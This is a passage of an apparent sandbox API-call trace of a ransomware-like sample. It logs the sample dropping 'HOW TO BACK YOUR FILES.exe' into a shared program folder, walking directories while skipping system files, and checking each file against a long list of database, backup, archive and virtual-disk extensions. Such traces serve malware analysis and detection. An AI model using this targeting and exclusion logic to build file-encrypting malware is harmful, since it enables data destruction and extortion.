"c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\how to back your files.exe"), bFailIfExists=1) returned 0 [0116.323] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\source engine\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0116.324] GetLastError () returned 0x0 [0116.324] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0116.324] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x54dd40 [0116.324] ReadFile (in: hFile=0xf4, lpBuffer=0x54dd40, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x54dd40*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0116.325] CloseHandle (hObject=0xf4) returned 1 [0116.325] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.325] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0116.325] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Source Engine\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xce0b4380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce0b4380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0116.325] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.325] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0116.325] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0116.325] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef4d890, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xce0b4380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce0b4380, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.325] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0116.325] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0116.325] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0116.325] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0116.325] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce0b4380, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce0b4380, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0116.325] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0116.325] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcfcedc00, ftCreationTime.dwHighDateTime=0x1ca911d, ftLastAccessTime.dwLowDateTime=0xeef4d890, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xcfcedc00, ftLastWriteTime.dwHighDateTime=0x1ca911d, nFileSizeHigh=0x0, nFileSizeLow=0x2a968, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="OSE.EXE", cAlternateFileName="")) returned 1 [0116.325] lstrcmpiW (lpString1="OSE.EXE", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.326] lstrcmpiW (lpString1="OSE.EXE", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.326] lstrcmpiW (lpString1="OSE.EXE", lpString2=".") returned 1 [0116.326] lstrcmpiW (lpString1="OSE.EXE", lpString2="..") returned 1 [0116.326] lstrcmpiW (lpString1="OSE.EXE", lpString2="windows") returned -1 [0116.326] lstrcmpiW (lpString1="OSE.EXE", lpString2="bootmgr") returned 1 [0116.326] lstrcmpiW (lpString1="OSE.EXE", lpString2="temp") returned -1 [0116.326] lstrcmpiW (lpString1="OSE.EXE", lpString2="pagefile.sys") returned -1 [0116.326] lstrcmpiW (lpString1="OSE.EXE", lpString2="boot") returned 1 [0116.326] lstrcmpiW (lpString1="OSE.EXE", lpString2="ids.txt") returned 1 [0116.326] lstrcmpiW (lpString1="OSE.EXE", lpString2="ntuser.dat") returned 1 [0116.326] lstrcmpiW (lpString1="OSE.EXE", lpString2="perflogs") returned -1 [0116.326] lstrcmpiW (lpString1="OSE.EXE", lpString2="MSBuild") returned 1 [0116.326] lstrlenW (lpString="OSE.EXE") returned 7 [0116.326] lstrcpyW (in: lpString1=0x241e8c2, lpString2="OSE.EXE" | out: lpString1="OSE.EXE") returned="OSE.EXE" [0116.326] lstrlenW (lpString="OSE.EXE") returned 7 [0116.326] lstrlenW (lpString="Athena865") returned 9 [0116.326] lstrlenW (lpString=".dll") returned 4 [0116.326] lstrcmpiW (lpString1="OSE.EXE", lpString2=".dll") returned 1 [0116.326] lstrlenW (lpString=".lnk") returned 4 [0116.326] lstrcmpiW (lpString1="OSE.EXE", lpString2=".lnk") returned 1 [0116.326] lstrlenW (lpString=".ini") returned 4 [0116.326] lstrcmpiW (lpString1="OSE.EXE", lpString2=".ini") returned 1 [0116.326] lstrlenW (lpString=".sys") returned 4 [0116.326] lstrcmpiW (lpString1="OSE.EXE", lpString2=".sys") returned 1 [0116.326] lstrlenW (lpString="OSE.EXE") returned 7 [0116.326] lstrlenW (lpString="bak") returned 3 [0116.326] lstrcmpiW (lpString1="EXE", lpString2="bak") returned 1 [0116.327] lstrlenW (lpString="ba_") returned 3 [0116.327] lstrcmpiW (lpString1="EXE", lpString2="ba_") returned 1 [0116.327] lstrlenW (lpString="dbb") returned 3 [0116.327] lstrcmpiW (lpString1="EXE", lpString2="dbb") returned 1 [0116.327] lstrlenW (lpString="vmdk") returned 4 [0116.327] lstrcmpiW (lpString1=".EXE", lpString2="vmdk") returned -1 [0116.327] lstrlenW (lpString="rar") returned 3 [0116.327] lstrcmpiW (lpString1="EXE", lpString2="rar") returned -1 [0116.327] lstrlenW (lpString="zip") returned 3 [0116.327] lstrcmpiW (lpString1="EXE", lpString2="zip") returned -1 [0116.327] lstrlenW (lpString="tgz") returned 3 [0116.327] lstrcmpiW (lpString1="EXE", lpString2="tgz") returned -1 [0116.327] lstrlenW (lpString="vbox") returned 4 [0116.327] lstrcmpiW (lpString1=".EXE", lpString2="vbox") returned -1 [0116.327] lstrlenW (lpString="vdi") returned 3 [0116.327] lstrcmpiW (lpString1="EXE", lpString2="vdi") returned -1 [0116.327] lstrlenW (lpString="vhd") returned 3 [0116.327] lstrcmpiW (lpString1="EXE", lpString2="vhd") returned -1 [0116.327] lstrlenW (lpString="vhdx") returned 4 [0116.327] lstrcmpiW (lpString1=".EXE", lpString2="vhdx") returned -1 [0116.327] lstrlenW (lpString="avhd") returned 4 [0116.327] lstrcmpiW (lpString1=".EXE", lpString2="avhd") returned -1 [0116.327] lstrlenW (lpString="db") returned 2 [0116.327] lstrcmpiW (lpString1="XE", lpString2="db") returned 1 [0116.327] lstrlenW (lpString="db2") returned 3 [0116.327] lstrcmpiW (lpString1="EXE", lpString2="db2") returned 1 [0116.327] lstrlenW (lpString="db3") returned 3 [0116.327] lstrcmpiW (lpString1="EXE", lpString2="db3") returned 1 [0116.327] lstrlenW (lpString="dbf") returned 3 [0116.328] lstrcmpiW (lpString1="EXE", lpString2="dbf") returned 1 [0116.328] lstrlenW (lpString="mdf") returned 3 [0116.328] lstrcmpiW (lpString1="EXE", lpString2="mdf") returned -1 [0116.328] lstrlenW (lpString="mdb") returned 3 [0116.328] lstrcmpiW (lpString1="EXE", lpString2="mdb") returned -1 [0116.328] lstrlenW (lpString="sql") returned 3 [0116.328] lstrcmpiW (lpString1="EXE", lpString2="sql") returned -1 [0116.328] lstrlenW (lpString="sqlite") returned 6 [0116.328] lstrcmpiW (lpString1="SE.EXE", lpString2="sqlite") returned -1 [0116.328] lstrlenW (lpString="sqlite3") returned 7 [0116.328] lstrlenW (lpString="sqlitedb") returned 8 [0116.328] lstrlenW (lpString="xml") returned 3 [0116.328] lstrcmpiW (lpString1="EXE", lpString2="xml") returned -1 [0116.328] lstrlenW (lpString="$er") returned 3 [0116.328] lstrcmpiW (lpString1="EXE", lpString2="$er") returned 1 [0116.328] lstrlenW (lpString="4dd") returned 3 [0116.328] lstrcmpiW (lpString1="EXE", lpString2="4dd") returned 1 [0116.328] lstrlenW (lpString="4dl") returned 3 [0116.328] lstrcmpiW (lpString1="EXE", lpString2="4dl") returned 1 [0116.328] lstrlenW (lpString="^^^") returned 3 [0116.328] lstrcmpiW (lpString1="EXE", lpString2="^^^") returned 1 [0116.328] lstrlenW (lpString="abs") returned 3 [0116.328] lstrcmpiW (lpString1="EXE", lpString2="abs") returned 1 [0116.328] lstrlenW (lpString="abx") returned 3 [0116.328] lstrcmpiW (lpString1="EXE", lpString2="abx") returned 1 [0116.328] lstrlenW (lpString="accdb") returned 5 [0116.328] lstrcmpiW (lpString1="E.EXE", lpString2="accdb") returned 1 [0116.328] lstrlenW (lpString="accdc") returned 5 [0116.328] lstrcmpiW (lpString1="E.EXE", lpString2="accdc") returned 1 [0116.328] lstrlenW (lpString="accde") returned 5 [0116.329] lstrcmpiW (lpString1="E.EXE", lpString2="accde") returned 1 [0116.329] lstrlenW (lpString="accdr") returned 5 [0116.329] lstrcmpiW (lpString1="E.EXE", lpString2="accdr") returned 1 [0116.329] lstrlenW (lpString="accdt") returned 5 [0116.329] lstrcmpiW (lpString1="E.EXE", lpString2="accdt") returned 1 [0116.329] lstrlenW (lpString="accdw") returned 5 [0116.329] lstrcmpiW (lpString1="E.EXE", lpString2="accdw") returned 1 [0116.329] lstrlenW (lpString="accft") returned 5 [0116.329] lstrcmpiW (lpString1="E.EXE", lpString2="accft") returned 1 [0116.329] lstrlenW (lpString="adb") returned 3 [0116.329] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0116.329] lstrlenW (lpString="adb") returned 3 [0116.329] lstrcmpiW (lpString1="EXE", lpString2="adb") returned 1 [0116.329] lstrlenW (lpString="ade") returned 3 [0116.329] lstrcmpiW (lpString1="EXE", lpString2="ade") returned 1 [0116.329] lstrlenW (lpString="adf") returned 3 [0116.329] lstrcmpiW (lpString1="EXE", lpString2="adf") returned 1 [0116.329] lstrlenW (lpString="adn") returned 3 [0116.329] lstrcmpiW (lpString1="EXE", lpString2="adn") returned 1 [0116.329] lstrlenW (lpString="adp") returned 3 [0116.329] lstrcmpiW (lpString1="EXE", lpString2="adp") returned 1 [0116.329] lstrlenW (lpString="alf") returned 3 [0116.329] lstrcmpiW (lpString1="EXE", lpString2="alf") returned 1 [0116.329] lstrlenW (lpString="ask") returned 3 [0116.329] lstrcmpiW (lpString1="EXE", lpString2="ask") returned 1 [0116.329] lstrlenW (lpString="btr") returned 3 [0116.329] lstrcmpiW (lpString1="EXE", lpString2="btr") returned 1 [0116.329] lstrlenW (lpString="cat") returned 3 [0116.329] lstrcmpiW (lpString1="EXE", lpString2="cat") returned 1 [0116.329] lstrlenW (lpString="cdb") returned 3 [0116.329] lstrcmpiW (lpString1="EXE", lpString2="cdb") returned 1 [0116.330] lstrlenW (lpString="ckp") returned 3 [0116.330] lstrcmpiW (lpString1="EXE", lpString2="ckp") returned 1 [0116.330] lstrlenW (lpString="cma") returned 3 [0116.330] lstrcmpiW (lpString1="EXE", lpString2="cma") returned 1 [0116.330] lstrlenW (lpString="cpd") returned 3 [0116.330] lstrcmpiW (lpString1="EXE", lpString2="cpd") returned 1 [0116.330] lstrlenW (lpString="dacpac") returned 6 [0116.330] lstrcmpiW (lpString1="SE.EXE", lpString2="dacpac") returned 1 [0116.330] lstrlenW (lpString="dad") returned 3 [0116.330] lstrcmpiW (lpString1="EXE", lpString2="dad") returned 1 [0116.330] lstrlenW (lpString="dadiagrams") returned 10 [0116.330] lstrlenW (lpString="daschema") returned 8 [0116.330] lstrlenW (lpString="db-journal") returned 10 [0116.330] lstrlenW (lpString="db-shm") returned 6 [0116.330] lstrcmpiW (lpString1="SE.EXE", lpString2="db-shm") returned 1 [0116.330] lstrlenW (lpString="db-wal") returned 6 [0116.330] lstrcmpiW (lpString1="SE.EXE", lpString2="db-wal") returned 1 [0116.330] lstrlenW (lpString="dbc") returned 3 [0116.330] lstrcmpiW (lpString1="EXE", lpString2="dbc") returned 1 [0116.330] lstrlenW (lpString="dbs") returned 3 [0116.330] lstrcmpiW (lpString1="EXE", lpString2="dbs") returned 1 [0116.330] lstrlenW (lpString="dbt") returned 3 [0116.330] lstrcmpiW (lpString1="EXE", lpString2="dbt") returned 1 [0116.330] lstrlenW (lpString="dbv") returned 3 [0116.330] lstrcmpiW (lpString1="EXE", lpString2="dbv") returned 1 [0116.330] lstrlenW (lpString="dbx") returned 3 [0116.330] lstrcmpiW (lpString1="EXE", lpString2="dbx") returned 1 [0116.330] lstrlenW (lpString="dcb") returned 3 [0116.330] lstrcmpiW (lpString1="EXE", lpString2="dcb") returned 1 [0116.330] lstrlenW (lpString="dct") returned 3 [0116.331] lstrcmpiW (lpString1="EXE", lpString2="dct") returned 1 [0116.331] lstrlenW (lpString="dcx") returned 3 [0116.331] lstrcmpiW (lpString1="EXE", lpString2="dcx") returned 1 [0116.331] lstrlenW (lpString="ddl") returned 3 [0116.331] lstrcmpiW (lpString1="EXE", lpString2="ddl") returned 1 [0116.331] lstrlenW (lpString="dlis") returned 4 [0116.331] lstrcmpiW (lpString1=".EXE", lpString2="dlis") returned -1 [0116.331] lstrlenW (lpString="dp1") returned 3 [0116.331] lstrcmpiW (lpString1="EXE", lpString2="dp1") returned 1 [0116.331] lstrlenW (lpString="dqy") returned 3 [0116.331] lstrcmpiW (lpString1="EXE", lpString2="dqy") returned 1 [0116.331] lstrlenW (lpString="dsk") returned 3 [0116.331] lstrcmpiW (lpString1="EXE", lpString2="dsk") returned 1 [0116.331] lstrlenW (lpString="dsn") returned 3 [0116.331] lstrcmpiW (lpString1="EXE", lpString2="dsn") returned 1 [0116.331] lstrlenW (lpString="dtsx") returned 4 [0116.332] lstrcmpiW (lpString1=".EXE", lpString2="dtsx") returned -1 [0116.335] lstrlenW (lpString="dxl") returned 3 [0116.335] lstrcmpiW (lpString1="EXE", lpString2="dxl") returned 1 [0116.335] lstrlenW (lpString="eco") returned 3 [0116.335] lstrcmpiW (lpString1="EXE", lpString2="eco") returned 1 [0116.335] lstrlenW (lpString="ecx") returned 3 [0116.335] lstrcmpiW (lpString1="EXE", lpString2="ecx") returned 1 [0116.335] lstrlenW (lpString="edb") returned 3 [0116.335] lstrcmpiW (lpString1="EXE", lpString2="edb") returned 1 [0116.336] lstrlenW (lpString="epim") returned 4 [0116.336] lstrcmpiW (lpString1=".EXE", lpString2="epim") returned -1 [0116.336] lstrlenW (lpString="fcd") returned 3 [0116.336] lstrcmpiW (lpString1="EXE", lpString2="fcd") returned -1 [0116.336] lstrlenW (lpString="fdb") returned 3 [0116.336] lstrcmpiW (lpString1="EXE", lpString2="fdb") returned -1 [0116.336] lstrlenW (lpString="fic") returned 3 [0116.336] lstrcmpiW (lpString1="EXE", lpString2="fic") returned -1 [0116.336] lstrlenW (lpString="flexolibrary") returned 12 [0116.336] lstrlenW (lpString="fm5") returned 3 [0116.336] lstrcmpiW (lpString1="EXE", lpString2="fm5") returned -1 [0116.336] lstrlenW (lpString="fmp") returned 3 [0116.336] lstrcmpiW (lpString1="EXE", lpString2="fmp") returned -1 [0116.336] lstrlenW (lpString="fmp12") returned 5 [0116.336] lstrcmpiW (lpString1="E.EXE", lpString2="fmp12") returned -1 [0116.336] lstrlenW (lpString="fmpsl") returned 5 [0116.336] lstrcmpiW (lpString1="E.EXE", lpString2="fmpsl") returned -1 [0116.336] lstrlenW (lpString="fol") returned 3 [0116.336] lstrcmpiW (lpString1="EXE", lpString2="fol") returned -1 [0116.336] lstrlenW (lpString="fp3") returned 3 [0116.336] lstrcmpiW (lpString1="EXE", lpString2="fp3") returned -1 [0116.336] lstrlenW (lpString="fp4") returned 3 [0116.336] lstrcmpiW (lpString1="EXE", lpString2="fp4") returned -1 [0116.336] lstrlenW (lpString="fp5") returned 3 [0116.336] lstrcmpiW (lpString1="EXE", lpString2="fp5") returned -1 [0116.336] lstrlenW (lpString="fp7") returned 3 [0116.336] lstrcmpiW (lpString1="EXE", lpString2="fp7") returned -1 [0116.336] lstrlenW (lpString="fpt") returned 3 [0116.337] lstrcmpiW (lpString1="EXE", lpString2="fpt") returned -1 [0116.337] lstrlenW (lpString="frm") returned 3 [0116.337] lstrcmpiW (lpString1="EXE", lpString2="frm") returned -1 [0116.337] lstrlenW (lpString="gdb") returned 3 [0116.337] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0116.337] lstrlenW (lpString="gdb") returned 3 [0116.337] lstrcmpiW (lpString1="EXE", lpString2="gdb") returned -1 [0116.337] lstrlenW (lpString="grdb") returned 4 [0116.337] lstrcmpiW (lpString1=".EXE", lpString2="grdb") returned -1 [0116.337] lstrlenW (lpString="gwi") returned 3 [0116.337] lstrcmpiW (lpString1="EXE", lpString2="gwi") returned -1 [0116.337] lstrlenW (lpString="hdb") returned 3 [0116.337] lstrcmpiW (lpString1="EXE", lpString2="hdb") returned -1 [0116.337] lstrlenW (lpString="his") returned 3 [0116.337] lstrcmpiW (lpString1="EXE", lpString2="his") returned -1 [0116.337] lstrlenW (lpString="ib") returned 2 [0116.337] lstrcmpiW (lpString1="XE", lpString2="ib") returned 1 [0116.337] lstrlenW (lpString="idb") returned 3 [0116.337] lstrcmpiW (lpString1="EXE", lpString2="idb") returned -1 [0116.337] lstrlenW (lpString="ihx") returned 3 [0116.337] lstrcmpiW (lpString1="EXE", lpString2="ihx") returned -1 [0116.337] lstrlenW (lpString="itdb") returned 4 [0116.337] lstrcmpiW (lpString1=".EXE", lpString2="itdb") returned -1 [0116.337] lstrlenW (lpString="itw") returned 3 [0116.337] lstrcmpiW (lpString1="EXE", lpString2="itw") returned -1 [0116.337] lstrlenW (lpString="jet") returned 3 [0116.337] lstrcmpiW (lpString1="EXE", lpString2="jet") returned -1 [0116.337] lstrlenW (lpString="jtx") returned 3 [0116.337] lstrcmpiW (lpString1="EXE", lpString2="jtx") returned -1 [0116.337] lstrlenW (lpString="kdb") returned 3 [0116.338] lstrcmpiW (lpString1="EXE", lpString2="kdb") returned -1 [0116.338] lstrlenW (lpString="kexi") returned 4 [0116.338] lstrcmpiW (lpString1=".EXE", lpString2="kexi") returned -1 [0116.338] lstrlenW (lpString="kexic") returned 5 [0116.338] lstrcmpiW (lpString1="E.EXE", lpString2="kexic") returned -1 [0116.338] lstrlenW (lpString="kexis") returned 5 [0116.338] lstrcmpiW (lpString1="E.EXE", lpString2="kexis") returned -1 [0116.338] lstrlenW (lpString="lgc") returned 3 [0116.338] lstrcmpiW (lpString1="EXE", lpString2="lgc") returned -1 [0116.338] lstrlenW (lpString="lwx") returned 3 [0116.338] lstrcmpiW (lpString1="EXE", lpString2="lwx") returned -1 [0116.338] lstrlenW (lpString="maf") returned 3 [0116.338] lstrcmpiW (lpString1="EXE", lpString2="maf") returned -1 [0116.338] lstrlenW (lpString="maq") returned 3 [0116.338] lstrcmpiW (lpString1="EXE", lpString2="maq") returned -1 [0116.338] lstrlenW (lpString="mar") returned 3 [0116.338] lstrcmpiW (lpString1="EXE", lpString2="mar") returned -1 [0116.338] lstrlenW (lpString="marshal") returned 7 [0116.338] lstrlenW (lpString="mas") returned 3 [0116.338] lstrcmpiW (lpString1="EXE", lpString2="mas") returned -1 [0116.338] lstrlenW (lpString="mav") returned 3 [0116.338] lstrcmpiW (lpString1="EXE", lpString2="mav") returned -1 [0116.338] lstrlenW (lpString="maw") returned 3 [0116.338] lstrcmpiW (lpString1="EXE", lpString2="maw") returned -1 [0116.338] lstrlenW (lpString="mdbhtml") returned 7 [0116.338] lstrlenW (lpString="mdn") returned 3 [0116.338] lstrcmpiW (lpString1="EXE", lpString2="mdn") returned -1 [0116.338] lstrlenW (lpString="mdt") returned 3 [0116.338] lstrcmpiW (lpString1="EXE", lpString2="mdt") returned -1 [0116.339] lstrlenW (lpString="mfd") returned 3 [0116.339] lstrcmpiW (lpString1="EXE", lpString2="mfd") returned -1 [0116.339] lstrlenW (lpString="mpd") returned 3 [0116.339] lstrcmpiW (lpString1="EXE", lpString2="mpd") returned -1 [0116.339] lstrlenW (lpString="mrg") returned 3 [0116.339] lstrcmpiW (lpString1="EXE", lpString2="mrg") returned -1 [0116.339] lstrlenW (lpString="mud") returned 3 [0116.339] lstrcmpiW (lpString1="EXE", lpString2="mud") returned -1 [0116.339] lstrlenW (lpString="mwb") returned 3 [0116.339] lstrcmpiW (lpString1="EXE", lpString2="mwb") returned -1 [0116.339] lstrlenW (lpString="myd") returned 3 [0116.339] lstrcmpiW (lpString1="EXE", lpString2="myd") returned -1 [0116.339] lstrlenW (lpString="ndf") returned 3 [0116.339] lstrcmpiW (lpString1="EXE", lpString2="ndf") returned -1 [0116.339] lstrlenW (lpString="nnt") returned 3 [0116.339] lstrcmpiW (lpString1="EXE", lpString2="nnt") returned -1 [0116.339] lstrlenW (lpString="nrmlib") returned 6 [0116.339] lstrcmpiW (lpString1="SE.EXE", lpString2="nrmlib") returned 1 [0116.339] lstrlenW (lpString="ns2") returned 3 [0116.339] lstrcmpiW (lpString1="EXE", lpString2="ns2") returned -1 [0116.339] lstrlenW (lpString="ns3") returned 3 [0116.339] lstrcmpiW (lpString1="EXE", lpString2="ns3") returned -1 [0116.339] lstrlenW (lpString="ns4") returned 3 [0116.339] lstrcmpiW (lpString1="EXE", lpString2="ns4") returned -1 [0116.339] lstrlenW (lpString="nsf") returned 3 [0116.339] lstrcmpiW (lpString1="EXE", lpString2="nsf") returned -1 [0116.339] lstrlenW (lpString="nv") returned 2 [0116.339] lstrcmpiW (lpString1="XE", lpString2="nv") returned 1 [0116.339] lstrlenW (lpString="nv2") returned 3 [0116.340] lstrcmpiW (lpString1="EXE", lpString2="nv2") returned -1 [0116.340] lstrlenW (lpString="nwdb") returned 4 [0116.340] lstrcmpiW (lpString1=".EXE", lpString2="nwdb") returned -1 [0116.340] lstrlenW (lpString="nyf") returned 3 [0116.340] lstrcmpiW (lpString1="EXE", lpString2="nyf") returned -1 [0116.340] lstrlenW (lpString="odb") returned 3 [0116.340] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0116.340] lstrlenW (lpString="odb") returned 3 [0116.340] lstrcmpiW (lpString1="EXE", lpString2="odb") returned -1 [0116.340] lstrlenW (lpString="oqy") returned 3 [0116.340] lstrcmpiW (lpString1="EXE", lpString2="oqy") returned -1 [0116.340] lstrlenW (lpString="ora") returned 3 [0116.340] lstrcmpiW (lpString1="EXE", lpString2="ora") returned -1 [0116.340] lstrlenW (lpString="orx") returned 3 [0116.340] lstrcmpiW (lpString1="EXE", lpString2="orx") returned -1 [0116.340] lstrlenW (lpString="owc") returned 3 [0116.340] lstrcmpiW (lpString1="EXE", lpString2="owc") returned -1 [0116.340] lstrlenW (lpString="p96") returned 3 [0116.340] lstrcmpiW (lpString1="EXE", lpString2="p96") returned -1 [0116.340] lstrlenW (lpString="p97") returned 3 [0116.340] lstrcmpiW (lpString1="EXE", lpString2="p97") returned -1 [0116.340] lstrlenW (lpString="pan") returned 3 [0116.340] lstrcmpiW (lpString1="EXE", lpString2="pan") returned -1 [0116.340] lstrlenW (lpString="pdb") returned 3 [0116.340] lstrcmpiW (lpString1="EXE", lpString2="pdb") returned -1 [0116.340] lstrlenW (lpString="pdm") returned 3 [0116.340] lstrcmpiW (lpString1="EXE", lpString2="pdm") returned -1 [0116.340] lstrlenW (lpString="pnz") returned 3 [0116.341] lstrcmpiW (lpString1="EXE", lpString2="pnz") returned -1 [0116.341] lstrlenW (lpString="qry") returned 3 [0116.341] lstrcmpiW (lpString1="EXE", lpString2="qry") returned -1 [0116.341] lstrlenW (lpString="qvd") returned 3 [0116.341] lstrcmpiW (lpString1="EXE", lpString2="qvd") returned -1 [0116.341] lstrlenW (lpString="rbf") returned 3 [0116.341] lstrcmpiW (lpString1="EXE", lpString2="rbf") returned -1 [0116.341] lstrlenW (lpString="rctd") returned 4 [0116.341] lstrcmpiW (lpString1=".EXE", lpString2="rctd") returned -1 [0116.341] lstrlenW (lpString="rod") returned 3 [0116.341] lstrcmpiW (lpString1="EXE", lpString2="rod") returned -1 [0116.341] lstrlenW (lpString="rodx") returned 4 [0116.341] lstrcmpiW (lpString1=".EXE", lpString2="rodx") returned -1 [0116.341] lstrlenW (lpString="rpd") returned 3 [0116.341] lstrcmpiW (lpString1="EXE", lpString2="rpd") returned -1 [0116.341] lstrlenW (lpString="rsd") returned 3 [0116.341] lstrcmpiW (lpString1="EXE", lpString2="rsd") returned -1 [0116.341] lstrlenW (lpString="sas7bdat") returned 8 [0116.341] lstrlenW (lpString="sbf") returned 3 [0116.341] lstrcmpiW (lpString1="EXE", lpString2="sbf") returned -1 [0116.341] lstrlenW (lpString="scx") returned 3 [0116.341] lstrcmpiW (lpString1="EXE", lpString2="scx") returned -1 [0116.341] lstrlenW (lpString="sdb") returned 3 [0116.341] lstrcmpiW (lpString1="EXE", lpString2="sdb") returned -1 [0116.341] lstrlenW (lpString="sdc") returned 3 [0116.341] lstrcmpiW (lpString1="EXE", lpString2="sdc") returned -1 [0116.341] lstrlenW (lpString="sdf") returned 3 [0116.341] lstrcmpiW (lpString1="EXE", lpString2="sdf") returned -1 [0116.341] lstrlenW (lpString="sis") returned 3 [0116.341] lstrcmpiW (lpString1="EXE", lpString2="sis") returned -1 [0116.342] lstrlenW (lpString="spq") returned 3 [0116.342] lstrcmpiW (lpString1="EXE", lpString2="spq") returned -1 [0116.342] lstrlenW (lpString="te") returned 2 [0116.342] lstrcmpiW (lpString1="XE", lpString2="te") returned 1 [0116.342] lstrlenW (lpString="teacher") returned 7 [0116.342] lstrlenW (lpString="tmd") returned 3 [0116.342] lstrcmpiW (lpString1="EXE", lpString2="tmd") returned -1 [0116.342] lstrlenW (lpString="tps") returned 3 [0116.342] lstrcmpiW (lpString1="EXE", lpString2="tps") returned -1 [0116.342] lstrlenW (lpString="trc") returned 3 [0116.342] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0116.342] lstrlenW (lpString="trc") returned 3 [0116.342] lstrcmpiW (lpString1="EXE", lpString2="trc") returned -1 [0116.342] lstrlenW (lpString="trm") returned 3 [0116.342] lstrcmpiW (lpString1="EXE", lpString2="trm") returned -1 [0116.342] lstrlenW (lpString="udb") returned 3 [0116.342] lstrcmpiW (lpString1="EXE", lpString2="udb") returned -1 [0116.342] lstrlenW (lpString="udl") returned 3 [0116.342] lstrcmpiW (lpString1="EXE", lpString2="udl") returned -1 [0116.342] lstrlenW (lpString="usr") returned 3 [0116.342] lstrcmpiW (lpString1="EXE", lpString2="usr") returned -1 [0116.342] lstrlenW (lpString="v12") returned 3 [0116.342] lstrcmpiW (lpString1="EXE", lpString2="v12") returned -1 [0116.342] lstrlenW (lpString="vis") returned 3 [0116.342] lstrcmpiW (lpString1="EXE", lpString2="vis") returned -1 [0116.342] lstrlenW (lpString="vpd") returned 3 [0116.342] lstrcmpiW (lpString1="EXE", lpString2="vpd") returned -1 [0116.342] lstrlenW (lpString="vvv") returned 3 [0116.343] lstrcmpiW (lpString1="EXE", lpString2="vvv") returned -1 [0116.343] lstrlenW (lpString="wdb") returned 3 [0116.343] lstrcmpiW (lpString1="EXE", lpString2="wdb") returned -1 [0116.343] lstrlenW (lpString="wmdb") returned 4 [0116.343] lstrcmpiW (lpString1=".EXE", lpString2="wmdb") returned -1 [0116.343] lstrlenW (lpString="wrk") returned 3 [0116.343] lstrcmpiW (lpString1="EXE", lpString2="wrk") returned -1 [0116.343] lstrlenW (lpString="xdb") returned 3 [0116.343] lstrcmpiW (lpString1="EXE", lpString2="xdb") returned -1 [0116.343] lstrlenW (lpString="xld") returned 3 [0116.343] lstrcmpiW (lpString1="EXE", lpString2="xld") returned -1 [0116.343] lstrlenW (lpString="xmlff") returned 5 [0116.343] lstrcmpiW (lpString1="E.EXE", lpString2="xmlff") returned -1 [0116.343] wsprintfW 